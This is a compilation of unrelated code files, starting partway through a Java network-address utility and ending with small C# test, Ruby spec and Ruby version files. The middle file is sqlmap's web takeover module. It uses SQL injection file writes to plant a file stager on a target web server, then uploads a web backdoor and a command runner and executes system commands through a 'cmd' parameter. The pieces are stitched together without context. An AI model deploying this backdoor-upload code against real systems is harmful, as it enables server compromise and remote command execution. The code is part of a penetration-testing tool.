			if (ip == null) {
				return null;
			}

			NetworkInterface network = NetworkInterface.getByInetAddress(ip);

			if (network == null) {
				return null;
			}

			byte[] mac = network.getHardwareAddress();

			javaMacAdress = Converter.hexToString(mac);

		} catch (UnknownHostException e) {
			// ignore exception
		} catch (SocketException e) {
			// ignore exception
		}
		return javaMacAdress;
	}

	/**
	 *
	 * @return
	 */
	public static String getWindowsMacAddress() {
		final String ipConfigResponse = executeCommand("ipconfig", "/all");
		if (ipConfigResponse == null) {
			return null;
		}

		String localHost = getLocalhostAddress();
		if (localHost == null) {
			return null;
		}

		String lastMacAddressCandidate = null;
		StringTokenizer tokenizer = new StringTokenizer(ipConfigResponse, "\n");
		while (tokenizer.hasMoreTokens()) {
			String line = tokenizer.nextToken().trim();

			if ((line.indexOf(localHost) >= 0) && (lastMacAddressCandidate != null)) {
				return lastMacAddressCandidate;
			}

			int colon = line.indexOf(":");
			if (colon <= 0) {
				continue;
			}
			String candidate = line.substring(colon + 1).trim();
			if (isMacAddressCandidate(candidate)) {
				lastMacAddressCandidate = normalizeMacAddress(candidate);
			}
		}
		return lastMacAddressCandidate;
	}

	private static String getLocalhostAddress() {
		String localhostAdress = null;
		try {
			final InetAddress localHost = InetAddress.getLocalHost();
			if (localHost != null) {
				localhostAdress = localHost.getHostAddress();
			}
		} catch (UnknownHostException ex) {
			// ignore exception
		}
		return localhostAdress;
	}

	private static boolean isMacAddressCandidate(String macAddress) {
		if (StringUtils.isBlank(macAddress)) {
			return false;
		}
		macAddress = macAddress.trim();
		if (!macAddress.matches(MAC_ADDRESS_REGEX)) {
			return false;
		}
		return true;
	}

	/**
	 *
	 * @return
	 */
	public static String getLinuxMacAddress() {
		String ipConfigResponse = executeCommand("ifconfig");
		if (ipConfigResponse == null) {
			ipConfigResponse = executeCommand("/sbin/ifconfig");
			if (ipConfigResponse == null) {
				return null;
			}

		}

		String localHost = getLocalhostAddress();
		if (localHost == null) {
			return null;
		}

		StringTokenizer tokenizer = new StringTokenizer(ipConfigResponse, "\n");
		String lastMacAddress = null;
		while (tokenizer.hasMoreTokens()) {
			String line = tokenizer.nextToken().trim();
			boolean containsLocalHost = line.indexOf(localHost) >= 0;

			if ((containsLocalHost) && (lastMacAddress != null)) {
				return lastMacAddress;
			}

			int macAddressPosition = line.indexOf("HWaddr");
			if (macAddressPosition > 0) {
				String macAddressCandidate = line.substring(macAddressPosition + 6).trim();
				if (isMacAddressCandidate(macAddressCandidate)) {
					lastMacAddress = normalizeMacAddress(macAddressCandidate);
				}
			}
		}
		return null;
	}

	/**
	 *
	 * @param command
	 * @return
	 */
	public static String executeCommand(final String command, String... args) {
		return ProcessExecutor.executeCommand(command, args);
	}

	/**
	 *
	 * @param macAddress
	 * @return
	 */
	public static String normalizeMacAddress(String macAddress) {
		if (StringUtils.isNotBlank(macAddress)) {
			if (isMacAddressCandidate(macAddress)) {
				macAddress = macAddress.trim();
				StringBuilder addressBuilder = new StringBuilder();
				for (int i = 0; i < macAddress.length(); i++) {
					char part = macAddress.charAt(i);
					addressBuilder.append(Character.toUpperCase(part));
					if (i % 2 == 0) {
						addressBuilder.append("-");
					}
				}
				macAddress = addressBuilder.toString();
			}
		}
		return macAddress;
	}

	/**
	 *
	 * @return
	 * @throws UnknownHostException
	 */
	public static InetAddress getLocalIpAddress() throws UnknownHostException {
		try {
			InetAddress localAddress = null;
			// load all existed network interfaces
			for (Enumeration<?> networkInterfaces = NetworkInterface.getNetworkInterfaces(); networkInterfaces
					.hasMoreElements();) {
				NetworkInterface networkInterface = (NetworkInterface) networkInterfaces.nextElement();

				for (Enumeration<?> ipAddresses = networkInterface.getInetAddresses(); ipAddresses.hasMoreElements();) {
					InetAddress ipAddress = (InetAddress) ipAddresses.nextElement();
					if (!ipAddress.isLoopbackAddress()) {
						if (ipAddress.isSiteLocalAddress()) {
							return ipAddress;
						} else if (localAddress == null) {
							localAddress = ipAddress;
						}
					}
				}
			}
			if (localAddress != null) {
				return localAddress;
			}
			// try to get localhost address
			localAddress = InetAddress.getLocalHost();
			if (localAddress == null) {
				throw new UnknownHostException("Could not load localhost ip address");
			}
			return localAddress;
		} catch (Exception e) {
			UnknownHostException unknownHostException = new UnknownHostException(
					"Could not load localhost ip address " + e);
			unknownHostException.initCause(e);
			throw unknownHostException;
		}
	}

	public static String getLocalIpAddressString() {
		try {
			return getLocalIpAddress().getHostAddress();
		} catch (UnknownHostException e) {
			return null;
		}
	}
}


text:
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

import os
import posixpath
import re
import StringIO
import tempfile
import urlparse

from extra.cloak.cloak import decloak
from lib.core.agent import agent
from lib.core.common import arrayizeValue
from lib.core.common import Backend
from lib.core.common import extractRegexResult
from lib.core.common import getAutoDirectories
from lib.core.common import getManualDirectories
from lib.core.common import getPublicTypeMembers
from lib.core.common import getSQLSnippet
from lib.core.common import getUnicode
from lib.core.common import ntToPosixSlashes
from lib.core.common import isTechniqueAvailable
from lib.core.common import isWindowsDriveLetterPath
from lib.core.common import normalizePath
from lib.core.common import posixToNtSlashes
from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.common import singleTimeWarnMessage
from lib.core.convert import hexencode
from lib.core.convert import utf8encode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.enums import DBMS
from lib.core.enums import OS
from lib.core.enums import PAYLOAD
from lib.core.enums import WEB_API
from lib.core.exception import SqlmapNoneDataException
from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT
from lib.core.settings import EVENTVALIDATION_REGEX
from lib.core.settings import VIEWSTATE_REGEX
from lib.request.connect import Connect as Request
from thirdparty.oset.pyoset import oset

class Web:
    """
    This class defines web-oriented OS takeover functionalities for
    plugins.
    """

    def __init__(self):
        self.webApi = None
        self.webBaseUrl = None
        self.webBackdoorUrl = None
        self.webBackdoorFilePath = None
        self.webStagerUrl = None
        self.webStagerFilePath = None
        self.webDirectory = None

    def webBackdoorRunCmd(self, cmd):
        if self.webBackdoorUrl is None:
            return

        output = None

        if not cmd:
            cmd = conf.osCmd

        cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, cmd)
        page, _, _ = Request.getPage(url=cmdUrl, direct=True, silent=True, timeout=BACKDOOR_RUN_CMD_TIMEOUT)

        if page is not None:
            output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)

            if output:
                output = output.group(1)

        return output

    def webUpload(self, destFileName, directory, stream=None, content=None, filepath=None):
        if filepath is not None:
            if filepath.endswith('_'):
                content = decloak(filepath)  # cloaked file
            else:
                with open(filepath, "rb") as f:
                    content = f.read()

        if content is not None:
            stream = StringIO.StringIO(content)  # string content

        return self._webFileStreamUpload(stream, destFileName, directory)

    def _webFileStreamUpload(self, stream, destFileName, directory):
        stream.seek(0)  # Rewind

        try:
            setattr(stream, "name", destFileName)
        except TypeError:
            pass

        if self.webApi in getPublicTypeMembers(WEB_API, True):
            multipartParams = {
                                "upload":    "1",
                                "file":      stream,
                                "uploadDir": directory,
                              }

            if self.webApi == WEB_API.ASPX:
                multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION
                multipartParams['__VIEWSTATE'] = kb.data.__VIEWSTATE

            page = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False)

            if "File uploaded" not in page:
                warnMsg = "unable to upload the file through the web file "
                warnMsg += "stager to '%s'" % directory
                logger.warn(warnMsg)
                return False
            else:
                return True
        else:
            logger.error("sqlmap hasn't got a web backdoor nor a web file stager for %s" % self.webApi)
            return False

    def _webFileInject(self, fileContent, fileName, directory):
        outFile = posixpath.join(ntToPosixSlashes(directory), fileName)
        uplQuery = getUnicode(fileContent).replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
        query = ""

        if isTechniqueAvailable(kb.technique):
            where = kb.injection.data[kb.technique].where

            if where == PAYLOAD.WHERE.NEGATIVE:
                randInt = randomInt()
                query += "OR %d=%d " % (randInt, randInt)

        query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=hexencode(uplQuery))
        query = agent.prefixQuery(query)
        query = agent.suffixQuery(query)
        payload = agent.payload(newValue=query)
        page = Request.queryPage(payload)

        return page

    def webInit(self):
        """
        This method is used to write a web backdoor (agent) on a writable
        remote directory within the web server document root.
        """

        if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
            return

        self.checkDbmsOs()

        default = None
        choices = list(getPublicTypeMembers(WEB_API, True))

        for ext in choices:
            if conf.url.endswith(ext):
                default = ext
                break

        if not default:
            default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP

        message = "which web application language does the web server "
        message += "support?\n"

        for count in xrange(len(choices)):
            ext = choices[count]
            message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))

            if default == ext:
                default = count + 1

        message = message[:-1]

        while True:
            choice = readInput(message, default=str(default))

            if not choice.isdigit():
                logger.warn("invalid value, only digits are allowed")

            elif int(choice) < 1 or int(choice) > len(choices):
                logger.warn("invalid value, it must be between 1 and %d" % len(choices))

            else:
                self.webApi = choices[int(choice) - 1]
                break

        directories = list(arrayizeValue(getManualDirectories()))
        directories.extend(getAutoDirectories())
        directories = list(oset(directories))

        backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
        backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))

        stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))

        for directory in directories:
            if not directory:
                continue

            stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
            self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)

            uploaded = False
            directory = ntToPosixSlashes(normalizePath(directory))

            if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
                directory = "/%s" % directory
            else:
                directory = directory[2:] if isWindowsDriveLetterPath(directory) else directory

            if not directory.endswith('/'):
                directory += '/'

            # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
            infoMsg = "trying to upload the file stager on '%s' " % directory
            infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
            logger.info(infoMsg)
            self._webFileInject(stagerContent, stagerName, directory)

            for match in re.finditer('/', directory):
                self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
                self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
                debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
                logger.debug(debugMsg)

                uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
                uplPage = uplPage or ""

                if "sqlmap file uploader" in uplPage:
                    uploaded = True
                    break

            # Fall-back to UNION queries file upload method
            if not uploaded:
                warnMsg = "unable to upload the file stager "
                warnMsg += "on '%s'" % directory
                singleTimeWarnMessage(warnMsg)

                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                    infoMsg = "trying to upload the file stager on '%s' " % directory
                    infoMsg += "via UNION method"
                    logger.info(infoMsg)

                    stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
                    self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)

                    handle, filename = tempfile.mkstemp()
                    os.close(handle)

                    with open(filename, "w+b") as f:
                        _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
                        _ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
                        f.write(_)

                    self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)

                    for match in re.finditer('/', directory):
                        self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
                        self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)

                        debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
                        logger.debug(debugMsg)

                        uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
                        uplPage = uplPage or ""

                        if "sqlmap file uploader" in uplPage:
                            uploaded = True
                            break

            if not uploaded:
                continue

            if "<%" in uplPage or "<?" in uplPage:
                warnMsg = "file stager uploaded on '%s', " % directory
                warnMsg += "but not dynamically interpreted"
                logger.warn(warnMsg)
                continue

            elif self.webApi == WEB_API.ASPX:
                kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
                kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)

            infoMsg = "the file stager has been successfully uploaded "
            infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
            logger.info(infoMsg)

            if self.webApi == WEB_API.ASP:
                match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)

                if match:
                    backdoorDirectory = match.group(1)
                else:
                    continue

                _ = "tmpe%s.exe" % randomStr(lowercase=True)
                if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
                    self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'))
                    self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
                    self.webDirectory = backdoorDirectory
                else:
                    continue

            else:
                if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
                    warnMsg = "backdoor has not been successfully uploaded "
                    warnMsg += "through the file stager possibly because "
                    warnMsg += "the user running the web server process "
                    warnMsg += "has not write privileges over the folder "
                    warnMsg += "where the user running the DBMS process "
                    warnMsg += "was able to upload the file stager or "
                    warnMsg += "because the DBMS and web server sit on "
                    warnMsg += "different servers"
                    logger.warn(warnMsg)

                    message = "do you want to try the same method used "
                    message += "for the file stager? [Y/n] "
                    getOutput = readInput(message, default="Y")

                    if getOutput in ("y", "Y"):
                        self._webFileInject(backdoorContent, backdoorName, directory)
                    else:
                        continue

                self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName)
                self.webDirectory = directory

            self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)

            testStr = "command execution test"
            output = self.webBackdoorRunCmd("echo %s" % testStr)

            if output == "0":
                warnMsg = "the backdoor has been uploaded but required privileges "
                warnMsg += "for running the system commands are missing"
                raise SqlmapNoneDataException(warnMsg)
            elif output and testStr in output:
                infoMsg = "the backdoor has been successfully "
            else:
                infoMsg = "the backdoor has probably been successfully "

            infoMsg += "uploaded on '%s' - " % self.webDirectory
            infoMsg += self.webBackdoorUrl
            logger.info(infoMsg)

            break


text:
using System;
using System.Linq;
using System.Reflection;
using Carbonfrost.Commons.Shared;
using Carbonfrost.Commons.Shared.Runtime;
using NUnit.Framework;

namespace Tests {

    [TestFixture]
    public class AssemblyInfoTests {

        [Test]
        public void should_match_ns_names() {
            string[] names = { "System", "System.Collections", "System.Collections.Generic", "System.Linq", "System.Linq.Expressions", "Carbonfrost.Commons.Shared", "Carbonfrost.Commons.ComponentModel.PropertyTrees.Expressions" };
            Assert.That(Utility.FilterNamespaces(names, "*").ToArray(),
                        Is.EquivalentTo(names));

            Assert.That(Utility.FilterNamespaces(names, "System").ToArray(),
                        Is.EquivalentTo(new string[] { "System" }));

            string[] systemNames = { "System", "System.Collections", "System.Collections.Generic", "System.Linq", "System.Linq.Expressions" };
            Assert.That(Utility.FilterNamespaces(names, "System.*").ToArray(),
                        Is.EquivalentTo(systemNames));

            string[] expressionNames = { "System.Linq.Expressions", "Carbonfrost.Commons.ComponentModel.PropertyTrees.Expressions" };
            Assert.That(Utility.FilterNamespaces(expressionNames, "*.Expressions").ToArray(),
                        Is.EquivalentTo(expressionNames));
        }

        [Test]
        public void should_match_ns_names_in_situ() {
            string[] names = { "System", "System.Collections", "System.Collections.Generic", "System.Linq", "System.Linq.Expressions", "Carbonfrost.Commons.Shared", "Carbonfrost.Commons.ComponentModel.PropertyTrees.Expressions" };
            string[] expressionNames = { "System.Linq.Expressions", "Carbonfrost.Commons.ComponentModel.PropertyTrees.Expressions" };
            Assert.That(Utility.FilterNamespaces(names, "*.Expressions").ToArray(),
                        Is.EquivalentTo(expressionNames));

            string[] expressionNames2 = { "System.Linq.Expressions" };
            Assert.That(Utility.FilterNamespaces(names, "System.*.Expressions").ToArray(),
                        Is.EquivalentTo(expressionNames2));
        }

        [Test]
        public void should_get_xmlns_from_clrnamespaces() {
            AssemblyInfo ai = AssemblyInfo.GetAssemblyInfo(typeof(TypeReference).Assembly);
            Assert.That(ai.GetXmlNamespace("Carbonfrost.Commons.Shared"), Is.EqualTo(NamespaceUri.Parse(Xmlns.SharedRuntime2008)));
            Assert.That(ai.GetXmlNamespace("Carbonfrost.Commons.Shared.Runtime"), Is.EqualTo(NamespaceUri.Parse(Xmlns.SharedRuntime2008)));
            Assert.That(ai.GetXmlNamespace("Carbonfrost.Commons.ComponentModel"), Is.EqualTo(NamespaceUri.Parse(Xmlns.SharedRuntime2008)));
            Assert.That(ai.GetXmlNamespace("Carbonfrost.Commons.ComponentModel.Annotations"), Is.EqualTo(NamespaceUri.Parse(Xmlns.ShareableCodeMetadata2011)));
        }

        [Test]
        public void should_get_clr_namespaces_from_xmlns() {
            AssemblyInfo ai = AssemblyInfo.GetAssemblyInfo(typeof(TypeReference).Assembly);
            var all = ai.GetClrNamespaces(NamespaceUri.Parse(Xmlns.SharedRuntime2008));
            Assert.That(all, Contains.Item("Carbonfrost.Commons.Shared"));
            Assert.That(all, Contains.Item("Carbonfrost.Commons.Shared.Runtime"));
            Assert.That(all, Contains.Item("Carbonfrost.Commons.ComponentModel"));

            CollectionAssert.DoesNotContain(all, "Carbonfrost.Commons.ComponentModel.Annotations");
        }

        [Test]
        public void should_process_reflect_only_assembly() {
            Assembly a = Assembly.ReflectionOnlyLoad(@"System.Xml.Linq, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089");
            var info = AssemblyInfo.GetAssemblyInfo(a);

            Assert.That(info.Url, Is.EqualTo(new Uri(a.CodeBase)));
        }
    }
}


text:
describe "Kernel#Array" do
  it "returns an Array containing the argument if it responds to neither #to_ary nor #to_a" do
    obj = mock('obj')
    Array(obj).should == [obj]
  end

  it "returns an empty Array when passed nil" do
    Array(nil).should == []
  end
end


text:
module TheDataRoleBlockRails
  VERSION = "0.0.1"
end